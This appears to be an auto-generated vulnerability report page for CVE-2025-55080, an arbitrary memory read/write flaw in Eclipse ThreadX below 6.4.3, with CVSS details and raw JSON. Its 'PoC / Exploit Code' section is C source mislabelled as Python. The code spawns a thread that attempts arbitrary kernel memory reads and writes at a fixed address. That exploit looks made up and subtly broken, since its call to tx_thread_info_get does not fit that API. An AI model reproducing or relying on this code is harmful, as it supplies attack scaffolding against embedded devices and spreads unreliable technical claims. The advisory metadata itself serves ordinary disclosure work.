Security Vulnerability Report
中文
CVE-2025-55080 CVSS 7.1 HIGH

CVE-2025-55080

Published: 2025-10-15 06:15:44
Last Modified: 2025-10-22 16:31:41

Description

In Eclipse ThreadX before 6.4.3, when memory protection is enabled, syscall parameters verification wasn't enough, allowing an attacker to obtain an arbitrary memory read/write.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55080 - Eclipse ThreadX Arbitrary Memory Read/Write PoC * This PoC demonstrates exploitation of insufficient syscall parameter * verification when memory protection is enabled in ThreadX < 6.4.3. * * Note: This is a conceptual PoC. Actual exploitation requires a ThreadX * target environment with memory protection enabled and local code execution. */ #include "tx_api.h" #include <stdio.h> #include <string.h> /* Target address to read/write - e.g., kernel data structure */ #define TARGET_ADDR 0x20001000 #define PAYLOAD_SIZE 64 /* Malicious syscall wrapper exploiting insufficient parameter validation */ UINT exploit_syscall(VOID *addr, VOID *buf, UINT len) { UINT status; /* Pass arbitrary address that bypasses weak validation */ status = tx_thread_info_get((TX_THREAD *)addr, (CHAR *)buf, len); return status; } void exploit_thread_entry(ULONG thread_input) { UCHAR leak_buffer[PAYLOAD_SIZE]; UCHAR write_payload[PAYLOAD_SIZE]; /* Step 1: Arbitrary memory read - read kernel memory at TARGET_ADDR */ printf("[+] Attempting arbitrary read at 0x%08X\n", TARGET_ADDR); UINT ret = exploit_syscall((VOID *)TARGET_ADDR, leak_buffer, PAYLOAD_SIZE); if (ret == TX_SUCCESS) { printf("[+] Read succeeded, leaked data:\n"); for (int i = 0; i < PAYLOAD_SIZE; i++) { printf("%02X ", leak_buffer[i]); } printf("\n"); } /* Step 2: Arbitrary memory write - overwrite target with controlled data */ memset(write_payload, 0x41, PAYLOAD_SIZE); printf("[+] Attempting arbitrary write at 0x%08X\n", TARGET_ADDR); ret = exploit_syscall((VOID *)TARGET_ADDR, write_payload, PAYLOAD_SIZE); if (ret == TX_SUCCESS) { printf("[+] Write succeeded - arbitrary R/W confirmed\n"); } } void tx_application_define(void *first_unused_memory) { TX_THREAD exploit_thread; CHAR stack[1024]; tx_thread_create(&exploit_thread, "exploit", exploit_thread_entry, 0, stack, 1024, 1, 1, TX_NO_TIME_SLICE, TX_AUTO_START); } int main(void) { tx_kernel_enter(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55080", "sourceIdentifier": "[email protected]", "published": "2025-10-15T06:15:43.897", "lastModified": "2025-10-22T16:31:40.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Eclipse ThreadX before 6.4.3, when memory protection is enabled, syscall parameters verification wasn't enough, allowing an attacker to obtain an arbitrary memory read/write."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-233"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3", "matchCriteriaId": "8DFDFD2C-0D11-4D17-832D-CA423F67AE09"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-76hh-wrj5-hr2v", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}